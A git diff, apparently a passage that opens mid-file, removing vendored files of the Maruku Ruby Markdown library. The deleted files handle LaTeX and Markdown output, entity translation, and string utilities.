-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-module MaRuKu
-
-class MDDocument
-
-	Latex_preamble_enc_cjk = 
-"\\usepackage[C40]{fontenc}
-\\usepackage[cjkjis]{ucs}
-\\usepackage[utf8x]{inputenc}"
-
-	Latex_preamble_enc_utf8 = 
-"\\usepackage{ucs}
-\\usepackage[utf8x]{inputenc}"
-
-	def latex_require_package(p)
-		if not self.latex_required_packages.include? p
-			self.latex_required_packages.push p
-		end
-	end
-
-	# Render as a LaTeX fragment 
-	def to_latex
-		children_to_latex
-	end
-
-=begin maruku_doc
-Attribute: maruku_signature
-Scope: document
-Output: html, latex
-Summary: Enables Maruku's signature.
-Default: true
-
-If false, Maruku does not append a signature to the
-generated file.
-=end
-
-	# Render as a complete LaTeX document 
-	def to_latex_document
-		body = to_latex
-		
-		if get_setting(:maruku_signature)
-			body += render_latex_signature 
-		end
-		
-		required = 
-		self.latex_required_packages.map {|p|
-			"\\usepackage{#{p}}\n"
-		}.join
-		
-=begin maruku_doc
-Attribute: latex_cjk
-Scope:     document
-Output:    latex
-Summary:   Support for CJK characters.
-
-If the `latex_cjk` attribute is specified, then appropriate headers
-are added to the LaTeX preamble to support Japanese fonts.
-You have to have these fonts installed -- and this can be a pain.
-
-If `latex_cjk` is specified, this is added to the preamble:
-
-<?mrk puts "ciao" ?> 
-
-<?mrk md_codeblock(Maruku::MDDocument::Latex_preamble_enc_cjk) ?>
-
-
-while the default is to add this:
-
-<?mrk md_codeblock(Maruku::MDDocument::Latex_preamble_enc_utf8) ?>
-
-=end
-		encoding = get_setting(:latex_cjk) ? 
-			Latex_preamble_enc_cjk : Latex_preamble_enc_utf8
-
-=begin maruku_doc
-Attribute: latex_preamble
-Scope:     document
-Output:    latex
-Summary:   User-defined preamble.
-
-If the `latex_preamble` attribute is specified, then its value
-will be used as a custom preamble. 
-
-For example:
-
-	Title: My document
-	Latex preamble: preamble.tex
-
-will produce:
-
-	...
-	\input{preamble.tex}
-	...
-
-=end
-	user_preamble = (file = @doc.attributes[:latex_preamble]) ?
-		"\\input{#{file}}\n" : ""
-		
-"\\documentclass{article}
-
-% Packages required to support encoding
-#{encoding}
-
-% Packages required by code
-#{required}
-
-% Packages always used
-\\usepackage{hyperref}
-\\usepackage{xspace}
-\\usepackage[usenames,dvipsnames]{color}
-\\hypersetup{colorlinks=true,urlcolor=blue}
-
-#{user_preamble}
-
-\\begin{document} 
-#{body}
-\\end{document}
-"	
-	end
-	
-	
-	def render_latex_signature
-"\\vfill
-\\hrule
-\\vspace{1.2mm}
-\\begin{tiny}
-Created by \\href{http://maruku.rubyforge.org}{Maruku} #{self.nice_date}.
-\\end{tiny}"
-	end
-
-end end
-
-module MaRuKu; module Out; module Latex
-	
-	def to_latex_hrule; "\n\\vspace{.5em} \\hrule \\vspace{.5em}\n" end
-	def to_latex_linebreak; "\\newline " end
-	
-	def to_latex_paragraph 
-		children_to_latex+"\n\n"
-	end
-
-	
-=begin maruku_doc
-Title: Input format for colors
-Output: latex, html
-Related: code_background_color
-
-Admissible formats:
-
-	green
-	#abc
-	#aabbcc
-=end
-
-	# \color[named]{name} 	
-	# \color[rgb]{1,0.2,0.3} 
-	def latex_color(s, command='color')
-		if s =~ /^\#(\w\w)(\w\w)(\w\w)$/
-			r = $1.hex; g = $2.hex; b=$3.hex
-			# convert from 0-255 to 0.0-1.0
-			r = r / 255.0; g = g / 255.0; b = b / 255.0; 
-			"\\#{command}[rgb]{%0.2f,%0.2f,%0.2f}" % [r,g,b]
-		elsif s =~ /^\#(\w)(\w)(\w)$/
-			r = $1.hex; g = $2.hex; b=$3.hex
-			# convert from 0-15 to 0.0-1.0
-			r = r / 15.0; g = g / 15.0; b = b / 15.0; 
-			"\\#{command}[rgb]{%0.2f,%0.2f,%0.2f}" % [r,g,b]
-		else	
-			"\\#{command}{#{s}}"
-		end
-	end
-	
-=begin maruku_doc
-Attribute: code_show_spaces
-Scope: global, document, element
-
-If `true`, shows spaces and tabs in code blocks.
-
-Example:
-
-		 One space
-		  Two spaces
-			 	Tab, space, tab
-					Tab, tab, tab and all is green!
-	{:code_show_spaces code_background_color=#ffeedd}
-{:markdown}
-	
-That will produce:
-
-	 One space
-	  Two spaces
-		 	Tab, space, tab
-				Tab, tab, tab and all is green!
-{:code_show_spaces code_background_color=#ffeedd}
-
-=end
-	
-=begin maruku_doc
-Attribute: latex_use_listings
-Scope: document
-Output: latex
-Summary: Support for `listings` package.
-Related: code_show_spaces, code_background_color, lang, code_lang
-
-If the `latex_use_listings` attribute is specified, then 
-code block are rendered using the `listings` package.
-Otherwise, a standard `verbatim` environment is used.
-
-*	If the `lang` attribute for the code block has been specified,
-	it gets passed to the `listings` package using the `lstset` macro.
-	The default lang for code blocks is specified through 
-	the `code_lang` attribute.
-
-		\lstset{language=ruby}
-
-	Please refer to the documentation of the `listings` package for
-	supported languages.
-
-	If a language is not supported, the `listings` package will emit
-	a warning during the compilation. Just press enter and nothing
-	wrong will happen.
-
-*	If the `code_show_spaces` is specified, than spaces and tabs will
-	be shown using the macro:
-
-		\lstset{showspaces=true,showtabs=true}
-
-*	The background color is given by `code_background_color`.
-
-=end
-
-	def to_latex_code;
-		raw_code = self.raw_code
-		
-		if get_setting(:latex_use_listings)
-			@doc.latex_require_package('listings')
-				
-			s = "\\lstset{columns=fixed,frame=shadowbox}"
-
-			if get_setting(:code_show_spaces) 
-				s+= "\\lstset{showspaces=true,showtabs=true}\n"
-			else
-				s+= "\\lstset{showspaces=false,showtabs=false}\n"
-			end
-			
-			color = latex_color get_setting(:code_background_color)
-			
-			s+= "\\lstset{backgroundcolor=#{color}}\n" 
-			
-			s+= "\\lstset{basicstyle=\\ttfamily\\footnotesize}\n" 
-			
-			
-			lang = self.attributes[:lang] || @doc.attributes[:code_lang] || '{}'
-			if lang
-				s += "\\lstset{language=#{lang}}\n"
-			end
-			
-			"#{s}\n\\begin{lstlisting}\n#{raw_code}\n\\end{lstlisting}"
-		else
-			"\\begin{verbatim}#{raw_code}\\end{verbatim}\n"
-		end
-	end
-	
-	TexHeaders = {
-		1=>'section',
-		2=>'subsection',
-		3=>'subsubsection',
-		4=>'paragraph'}
-
-	def to_latex_header
-		h = TexHeaders[self.level] || 'paragraph'
-		
-		title = children_to_latex
-		if number = section_number
-			title = number + title
-		end
-		
-		if id = self.attributes[:id]
-			# drop '#' at the beginning
-			if id[0,1] == '#' then id = [1,id.size] end
-			%{\\hypertarget{%s}{}\\%s*{{%s}}\\label{%s}\n\n} % [ id, h, title, id ]
-		else
-			%{\\%s*{%s}\n\n} % [ h, title]
-		end
-	end
-	
-	
-	def to_latex_ul;       
-		if self.attributes[:toc]
-			@doc.toc.to_latex
-		else
-			wrap_as_environment('itemize')
-		end
-	end
-		   
-	def to_latex_quote;        wrap_as_environment('quote')               end
-	def to_latex_ol;        wrap_as_environment('enumerate')               end
-	def to_latex_li;        
-		"\\item #{children_to_latex}\n"  
-	end
-	def to_latex_li_span;
-		"\\item #{children_to_latex}\n"
-	end
-
-	def to_latex_strong
-		"\\textbf{#{children_to_latex}}"
- 	end
-	def to_latex_emphasis
-		"\\emph{#{children_to_latex}}"
-	end
-	
-	def wrap_as_span(c)
-		"{#{c} #{children_to_latex}}"
-	end
-	
-	def wrap_as_environment(name)
-"\\begin{#{name}}%
-#{children_to_latex}
-\\end{#{name}}\n"	
-	end
-	
-	SAFE_CHARS = Set.new(('a'..'z').to_a + ('A'..'Z').to_a)
-	# the ultimate escaping
-	# (is much better than using \verb)
-	def latex_escape(source)
-		s=""; 
-		
-		source.each_char do |b| 
-			if b == '\\' 
-				s << '~'
-			elsif SAFE_CHARS.include? b
-				s << b
-			else
-				s += "\\char%d" % b.ord 
-			end
-		end
-		s
-	end
-	
-	def to_latex_inline_code; 
-		source = self.raw_code
-		
-		# Convert to printable latex chars 
-		s = latex_escape(source)
-		
-		color = get_setting(:code_background_color)
-		colorspec = latex_color(color, 'colorbox')
-
-		"{#{colorspec}{\\tt #{s}}}"
-	end
-
-	def to_latex_immediate_link
-		url = self.url
-		text = url.gsub(/^mailto:/,'') # don't show mailto
-#			gsub('~','$\sim$')
-		text = latex_escape(text)
-		if url[0,1] == '#'
-			url = url[1,url.size]
-			return "\\hyperlink{#{url}}{#{text}}"
-		else
-
-			return "\\href{#{url}}{#{text}}"
-		end
-	end
-
-	def to_latex_im_link
-		url = self.url
-
-		if url[0,1] == '#'
-			url = url[1,url.size]
-			return "\\hyperlink{#{url}}{#{children_to_latex}}"
-		else
-			return "\\href{#{url}}{#{children_to_latex}}"
-		end
-	end
-	
-	def to_latex_link
-		id = self.ref_id
-		ref = @doc.refs[id]
-		if not ref
-			$stderr.puts "Could not find id = '#{id}'"
-			return children_to_latex
-		else
-			url = ref[:url]
-			#title = ref[:title] || 'no title'
-
-			if url[0,1] == '#'
-				url = url[1,url.size]
-				return "\\hyperlink{#{url}}{#{children_to_latex}}"
-			else
-				return "\\href{#{url}}{#{children_to_latex}}"
-			end
-		end
-		
-	end
-	
-	def to_latex_email_address
-		email = self.email
-		"\\href{mailto:#{email}}{#{latex_escape(email)}}"
-	end
-	
-	
-	def to_latex_table
-		align = self.align
-		num_columns = align.size
-
-		head = @children.slice(0, num_columns)
-		rows = []
-		i = num_columns
-		while i<@children.size
-			rows << @children.slice(i, num_columns)
-			i+=num_columns
-		end
-		
-		h = {:center=>'c',:left=>'l',:right=>'r'}
-		align_string = align.map{|a| h[a]}.join('|')
-		
-		s = "\\begin{tabular}{#{align_string}}\n"
-			
-			s += array_to_latex(head, '&') + "\\\\" +"\n"
-			
-			s += "\\hline \n"
-			
-			rows.each do |row|
-				s += array_to_latex(row, '&') + "\\\\" +"\n"
-			end
-			
-		s += "\\end{tabular}"
-		
-		# puts table in its own paragraph
-		s += "\n\n"
-		
-		s
-	end
-	
-	
-	def to_latex_head_cell; children_to_latex end
-	def to_latex_cell; children_to_latex end
-	
-	
-	def to_latex_footnote_reference
-		id = self.footnote_id
-		f = @doc.footnotes[id]
-		if f
-			"\\footnote{#{f.children_to_latex.strip}} "
-		else
-			$stderr.puts "Could not find footnote '#{fid}'"
-		end
-	end
-	
-	def to_latex_raw_html
-		#'{\bf Raw HTML removed in latex version }'
-		""
-	end
-	
-	## Definition lists ###
-	def to_latex_definition_list
-		s = "\\begin{description}\n"
-		s += children_to_latex
-		s += "\\end{description}\n"
-		s
-	end
-	
-	def to_latex_definition		
-		terms = self.terms
-		definitions = self.definitions
-		
-		s = ""
-		terms.each do |t|
-			s +="\n\\item[#{t.children_to_latex}] "
-		end
-
-		definitions.each do |d|
-			s += "#{d.children_to_latex} \n"
-		end
-		
-		s
-	end
-	
-
-	def to_latex_abbr
-		children_to_latex
-	end
-
-	def to_latex_image
-		id = self.ref_id
-		ref = @doc.refs[id]
-		if not ref
-			maruku_error "Could not find ref #{id.inspect} for image.\n"+
-				"Available are: #{@docs.refs.keys.inspect}"
-#			$stderr.puts "Could not find id = '#{id}'"
-			""
-		else
-			url = ref[:url]
-			$stderr.puts "Images not supported yet (#{url})"
-			# "{\\bf Images not supported yet (#{latex_escape(url)})}"
-			""
-		end
-
-	end
-
-	def to_latex_div
-		type = self.attributes[:class]
-		id = self.attributes[:id]
-		case type
-		  when /^un_(\w*)/
-                	s = "\\begin{u#{$1}}"
-#			s += "[#{@children[0].send('children_to_latex')}]"
-			@children.delete_at(0)
-                	s += "\n" + children_to_latex
-                	s += "\\end{u#{$1}}\n"
-		  when /^num_(\w*)/
-                        s = "\\begin{#{$1}}"
-#			s += "[#{@children[0].send('children_to_latex')}]"
-			@children.delete_at(0)
-			s += "\n\\label{#{id}}\\hypertarget{#{id}}{}\n"
-                        s += children_to_latex
-                        s += "\\end{#{$1}}\n"
-                  when /^proof/
-                        s = "\\begin{proof}"
-                        @children.delete_at(0)
-                        s += "\n" + children_to_latex
-                        s += "\\end{proof}\n"
-		  else
-			s = children_to_latex
-		end
-                s
-	end
-
-	# Convert each child to html
-	def children_to_latex
-		array_to_latex(@children)
-	end
-
-	def array_to_latex(array, join_char='')
-		e = []
-		array.each do |c|
-			method = c.kind_of?(MDElement) ? 
-			   "to_latex_#{c.node_type}" : "to_latex"
-			
-			if not c.respond_to?(method)
-		#		raise "Object does not answer to #{method}: #{c.class} #{c.inspect[0,100]}"
-				next
-			end
-			
-			h =  c.send(method)
-			
-			if h.nil?
-				raise "Nil html for #{c.inspect} created with method #{method}"
-			end
-			
-			if h.kind_of?Array
-				e = e + h
-			else
-				e << h
-			end
-		end
-		
-		# puts a space after commands if needed
-		# e.each_index do |i|
-		# 	if e[i] =~ /\\\w+\s*$/ # command
-		# 		if (s=e[i+1]) && s[0] == ?\ # space
-		# 			e[i]  = e[i] + "\\ "
-		# 		end
-		# 	end
-		# end
-		
-		e.join(join_char)
-	end
-	
-end end end # MaRuKu::Out::Latex
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_latex_entities.rb b/vendor/plugins/maruku/lib/maruku/output/to_latex_entities.rb
deleted file mode 100644
index 4a792c05..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_latex_entities.rb
+++ /dev/null
@@ -1,99 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-require 'nokogiri'
-
-module MaRuKu; module Out; module Latex
-	
-	def to_latex_entity 
-		MaRuKu::Out::Latex.need_entity_table
-		
-		entity_name = self.entity_name
-	
-		entity = ENTITY_TABLE[entity_name]
-		if not entity
-			maruku_error "I don't know how to translate entity '#{entity_name}' "+
-			"to LaTeX."
-			return ""
-		end
-		replace = entity.latex_string
-		
-		entity.latex_packages.each do |p|
-			@doc.latex_require_package p
-		end
-		
-#		if replace =~ /^\\/
-#			replace = replace + " "
-#		end
-		
- 		if replace
-			return replace + "{}"
-		else
-			tell_user "Cannot translate entity #{entity_name.inspect} to LaTeX."
-			return entity_name
-		end
-	end
-	
-	class LatexEntity
-		attr_accessor :html_num
-		attr_accessor :html_entity
-		attr_accessor :latex_string
-		attr_accessor :latex_packages
-	end
-	
-	def Latex.need_entity_table
-		Latex.init_entity_table if ENTITY_TABLE.empty?
-	end
-	
-	# create hash @@entity_to_latex
-	def Latex.init_entity_table
-#		$stderr.write "Creating entity table.."
-#		$stderr.flush
-		doc = Nokogiri::XML::Document.parse(File.read(File.dirname(__FILE__) + "/../../../data/entities.xml"))
-		doc.xpath("//char").each do |c| 
-			num =  c['num'].to_i
-			name =  c['name']
-			package =  c['package']
-			
-			convert =  c['convertTo']
-			convert.gsub!(/@DOUBLEQUOT/,'"')
-			convert.gsub!(/@QUOT/,"'")
-			convert.gsub!(/@GT/,">")
-			convert.gsub!(/@LT/,"<")
-			convert.gsub!(/@AMP/,"&")
-			convert.freeze
-			
-			e = LatexEntity.new
-			e.html_num = num
-			e.html_entity = name
-			e.latex_string = convert
-			e.latex_packages = package ? package.split : []
-			
-			ENTITY_TABLE[num] = e
-			ENTITY_TABLE[name] = e
-		end
-#		$stderr.puts "..done."
-	end
-	
-	ENTITY_TABLE = {}
-
-end end end
-
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_latex_strings.rb b/vendor/plugins/maruku/lib/maruku/output/to_latex_strings.rb
deleted file mode 100644
index ab54ba43..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_latex_strings.rb
+++ /dev/null
@@ -1,64 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-
-class String
-
-	# These are TeX's special characters
-	LATEX_ADD_SLASH = [ '{', '}', '$', '&', '#', '_', '%']
-
-	# These, we transform to {\tt \char<ascii code>}
-	LATEX_TO_CHARCODE = [ '^', '~', '>', '<']
-
-	def escape_to_latex(s)
-		s2 = ""
-		s.each_char do |b|
-			if LATEX_TO_CHARCODE.include? b
-				s2 += "{\\tt \\symbol{#{b.ord}}}" 
-			elsif LATEX_ADD_SLASH.include? b
-				s2 << ?\\ << b
-			elsif b == '\\'
-			# there is no backslash in cmr10 fonts
-				s2 += "$\\backslash$"
-			else
-				s2 << b
-			end
-		end
-		s2
-	end
-	
-	# escapes special characters
-	def to_latex
-		s = escape_to_latex(self)
-		OtherGoodies.each do |k, v|
-			s.gsub!(k, v)
-		end
-		s
-	end
-	
-	# other things that are good on the eyes
-	OtherGoodies = {
-		/(\s)LaTeX/ => '\1\\LaTeX\\xspace ', # XXX not if already \LaTeX
-#		'HTML' => '\\textsc{html}\\xspace ',
-#		'PDF' => '\\textsc{pdf}\\xspace '
-	}
-	
-end
\ No newline at end of file
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_markdown.rb b/vendor/plugins/maruku/lib/maruku/output/to_markdown.rb
deleted file mode 100644
index a24434f5..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_markdown.rb
+++ /dev/null
@@ -1,245 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-class String
-	# XXX: markdown escaping
-	def to_md(c=nil)
-		to_s
-	end
-	
-	# " andrea censi " => [" andrea ", "censi "]
-	def mysplit
-        res = split.map{|x| x+" "}
-        if self[0] == ' '
-             res[0] = " " + res[0]
-        end
-        res
-	end
-end
-
-
-module MaRuKu; module Out; module Markdown 
-	
-	DefaultLineLength = 40
-	
-	def to_md(context={})
-		children_to_md(context)
-	end
-	
-	def to_md_paragraph(context)
-		line_length = context[:line_length] || DefaultLineLength
-		wrap(@children, line_length, context)+"\n"
-	end
-
-    def to_md_header(context)
-        pounds = "#" * @level
-    "#{pounds} #{children_to_md(context)} #{pounds}\n\n"
-    end
-
-    def to_md_inline_code(context)
-    "`#{@raw_code}`"
-     end
-
-     def to_md_code(context)
-        @raw_code.split("\n").collect { |line| "     " + line}.join("\n") + "\n\n"
-     end
-
-    def to_md_quote(context)
-        line_length = (context[:line_length] || DefaultLineLength) - 2
-         wrap(@children, line_length, context).split(/\n/).collect { |line| "> " + line}.join("\n") + "\n"
-    end
-
-    def to_md_hrule(context)
-        "* * *\n"
-    end
-
-    def to_md_emphasis(context)
-        "*#{children_to_md(context)}*"
-    end
-
-    def to_md_strong(context)
-         "**#{children_to_md(context)}**"
-     end
-
-    def to_md_immediate_link(context)
-        "<#{@url}>"
-    end
-
-    def to_md_email_address(context)
-        "<#{@email}>"
-     end
-
-    def to_md_entity(context)
-        "&#{@entity_name};"
-    end
-
-    def to_md_linebreak(context)
-        "\n"
-    end
-
-    def to_md_paragraph(context)
-        line_length = context[:line_length] || DefaultLineLength
-         wrap(@children, line_length, context)+"\n"
-     end
-
-    def to_md_im_link(context)
-         "[#{children_to_md(context)}](#{@url}#{" \"#{@title}\"" if @title})"
-    end
-
-    def to_md_link(context)
-        "[#{children_to_md(context)}][#{@ref_id}]"
-    end
-
-    def to_md_im_image(context)
-     "![#{children_to_md(context)}](#{@url}#{" \"#{@title}\"" if @title})"
-     end
-    def to_md_image(context)
-        "![#{children_to_md(context)}][#{@ref_id}]"
-    end
-
-    def to_md_ref_definition(context)
-        "[#{@ref_id}] #{@url}#{" \"#{@title}\"" if @title}"
-    end
-
-    def to_md_li_span(context)
-		len = (context[:line_length] || DefaultLineLength) - 2
-#		s = wrap(@children, len-2, context).rstrip.gsub(/^/, '  ')
-#		s[0] = ?*
-#		s + "\n"
-        s = "* " + wrap(@children, len-2, context).rstrip + "\n"
-	end
-	
-	def to_md_abbr_def(context)
-		"*[#{self.abbr}]: #{self.text}\n"
-	end
-
-	def to_md_ol(context)
-		len = (context[:line_length] || DefaultLineLength) - 2
-		md = ""
-		self.children.each_with_index do |li, i|
-#			s = (w=wrap(li.children, len-2, context)).rstrip.gsub(/^/, '    ')+"\n"
-#			s[0,4] = "#{i+1}.  "[0,4]
-#			puts w.inspect
-            s = "#{i+1}. " + (w=wrap(li.children, len-2, context)).rstrip + "\n"
-			md += s
-		end
-		md + "\n"
-	end
-
-	def to_md_ul(context)
-		len = (context[:line_length] || DefaultLineLength) - 2
-		md = ""
-		self.children.each_with_index do |li, i|
-			w = wrap(li.children, len-2, context)
-			s = "- " + w
-#			puts "W: "+ w.inspect
-	#		s = add_indent(w)
-#			puts "S: " +s.inspect
-	#		s[0,1] = "-"
-			md += s
-		end
-		md + "\n"
-	end
-	
-	def add_indent(s,char="    ")
-		t = s.split("\n").map{|x| char+x }.join("\n")
-		s << ?\n if t[-1] == ?\n
-		s
-	end
-	
-	# Convert each child to html
-	def children_to_md(context)
-		array_to_md(@children, context)
-	end
-	
-	def wrap(array, line_length, context)
-		out = ""
-		line = ""
-		array.each do |c|
-			if c.kind_of?(MDElement) &&  c.node_type == :linebreak
-				out << line.strip << "  \n"; line="";
-				next
-			end
-		
-			pieces =
-			if c.kind_of? String
-				c.to_md.mysplit
-            elsif c.kind_of?(MDElement)
-                method = "to_md_#{c.node_type}"
-                method = "to_md" unless c.respond_to?(method)
-                [c.send(method, context)].flatten
-			else
-				[c.to_md(context)].flatten
-			end
-		
-	#			puts "Pieces: #{pieces.inspect}"
-			pieces.each do |p|
-				if p.size + line.size > line_length
-					out << line.strip << "\n"; 
-					line = ""
-				end
-				line << p
-			end
-		end
-		out << line.strip << "\n" if line.size > 0
-		out << ?\n if not out[-1] == ?\n
-		out
-	end
-
-
-	def array_to_md(array, context, join_char='')
-		e = []
-		array.each do |c|
-			method = c.kind_of?(MDElement) ? 
-			   "to_md_#{c.node_type}" : "to_md"
-			
-			if not c.respond_to?(method)
-				#raise "Object does not answer to #{method}: #{c.class} #{c.inspect[0,100]}"
-#				tell_user "Using default for #{c.node_type}"
-				method = 'to_md'
-			end
-			
-#			puts "#{c.inspect} created with method #{method}"
-			h =  c.send(method, context)
-			
-			if h.nil?
-				raise "Nil md for #{c.inspect} created with method #{method}"
-			end
-			
-			if h.kind_of?Array
-				e = e + h
-			else
-				e << h
-			end
-		end
-		e.join(join_char)
-	end
-	
-end end end
-
-module MaRuKu; class MDDocument
-	alias old_md to_md
-	def to_md(context={})
-		s = old_md(context)
-#		puts s
-		s
-	end	
-end end
diff --git a/vendor/plugins/maruku/lib/maruku/output/to_s.rb b/vendor/plugins/maruku/lib/maruku/output/to_s.rb
deleted file mode 100644
index 51956097..00000000
--- a/vendor/plugins/maruku/lib/maruku/output/to_s.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-# 
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-# 
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-# 
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-
-module MaRuKu
-	
-class MDElement
-	
-	# Strips all formatting from the string
-	def to_s
-		 children_to_s
-	end
-	
-	def children_to_s
-		@children.join
-	end
-	
-	# Generate an id for headers. Assumes @children is set.
-	def generate_id
-		title = children_to_s
-		title.gsub!(/ /,'_')
-		title.downcase!
-		title.gsub!(/[^\w_]/,'')
-		title.strip!
-		
-		if title.size == 0
-			$uid ||= 0
-			$uid += 1
-			title = "id#{$uid}"
-		end
-
-		@doc.id_counter += 1
-		title << "_" + @doc.id_counter.to_s
-	end
-end
-
-end
diff --git a/vendor/plugins/maruku/lib/maruku/string_utils.rb b/vendor/plugins/maruku/lib/maruku/string_utils.rb
deleted file mode 100644
index 832f7fae..00000000
--- a/vendor/plugins/maruku/lib/maruku/string_utils.rb
+++ /dev/null
@@ -1,213 +0,0 @@
-#--
-#   Copyright (C) 2006  Andrea Censi  <andrea (at) rubyforge.org>
-#
-# This file is part of Maruku.
-#
-#   Maruku is free software; you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   Maruku is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY; without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#   GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with Maruku; if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
-#++
-
-require 'strscan'
-
-module MaRuKu
-  # Utility functions for dealing with strings.
-  module Strings
-    TAB_SIZE = 4
-
-    # Split a string into multiple lines,
-    # on line feeds and/or carriage returns.
-    #
-    # @param s [String]
-    # @return [String]
-    def split_lines(s)
-      s.split(/\r\n|\r|\n/)
-    end
-
-    # Parses email headers, returning a hash.
-    # `hash[:data]` is the message;
-    # that is, anything past the headers.
-    #
-    # Keys are downcased and converted to symbols;
-    # spaces become underscores. For example:
-    #
-    #     !!!plain
-    #     My key: true
-    #
-    # becomes:
-    #
-    #     {:my_key => true}
-    #
-    # @param s [String] The email
-    # @return [Symbol => String] The header values
-    def parse_email_headers(s)
-      headers = {}
-      scanner = StringScanner.new(s)
-
-      while scanner.scan(/(\w[\w\s\-]+): +(.*)\n/)
-        k, v = normalize_key_and_value(scanner[1], scanner[2])
-        headers[k.to_sym] = v
-      end
-
-      headers[:data] = scanner.rest
-      headers
-    end
-
-    # Returns the number of leading spaces,
-    # considering that a tab counts as {TAB_SIZE} spaces.
-    #
-    # @param s [String]
-    # @return [Fixnum]
-    def number_of_leading_spaces(s)
-      spaces = s.scan(/^\s*/).first
-      spaces.count(" ") + spaces.count("\t") * TAB_SIZE
-    end
-
-    # This returns the position of the first non-list character
-    # in a list item.
-    #
-    # @example
-    # spaces_before_first_char('*Hello') #=> 1
-    # spaces_before_first_char('* Hello') #=> 2
-    # spaces_before_first_char(' * Hello') #=> 3
-    # spaces_before_first_char(' *   Hello') #=> 5
-    # spaces_before_first_char('1.Hello') #=> 2
-    # spaces_before_first_char(' 1.  Hello') #=> 5
-    #
-    # @param s [String]
-    # @return [Fixnum]
-    def spaces_before_first_char(s)
-      match = 
-        case s.md_type
-          when :ulist
-            # whitespace, followed by ('*'|'+'|'-') followed by
-            # more whitespace, followed by an optional IAL, followed
-            # by yet more whitespace
-            s[/^\s*(\*|\+|\-)\s*(\{.*?\})?\s*/]
-          when :olist
-            # whitespace, followed by a number, followed by a period,
-            # more whitespace, an optional IAL, and more whitespace
-            s[/^\s*\d+\.\s*(\{.*?\})?\s*/]
-          else
-            tell_user "BUG (my bad): '#{s}' is not a list"
-            ''
-          end
-      ial = match[/\{.*\}/]
-      return [match.length, ial]		
-    end
-
-    # Replace spaces with underscores and remove non-word characters.
-    #
-    # @param s [String]
-    # @return [String]
-    def sanitize_ref_id(s)
-      s.strip.downcase.gsub(' ', '_').gsub(/[^\w]/, '')
-    end
-
-    # Remove line-initial `>` characters for a quotation.
-    #
-    # @param s [String]
-    # @return [String]
-    def unquote(s)
-      s.gsub(/^>\s?/, '')
-    end
-
-    # Removes indentation from the beginning of `s`,
-    # up to at most `n` spaces.
-    # Tabs are counted as {TAB_SIZE} spaces.
-    #
-    # @param s [String]
-    # @param n [Fixnum]
-    # @return [String]
-    def strip_indent(s, n)
-      while n > 0
-        case s[0]
-        when ?\s; n -= 1
-        when ?\t; n -= TAB_SIZE
-        else; return s
-        end
-        s = s[1..-1]
-      end
-      return s
-    end
-
-#--
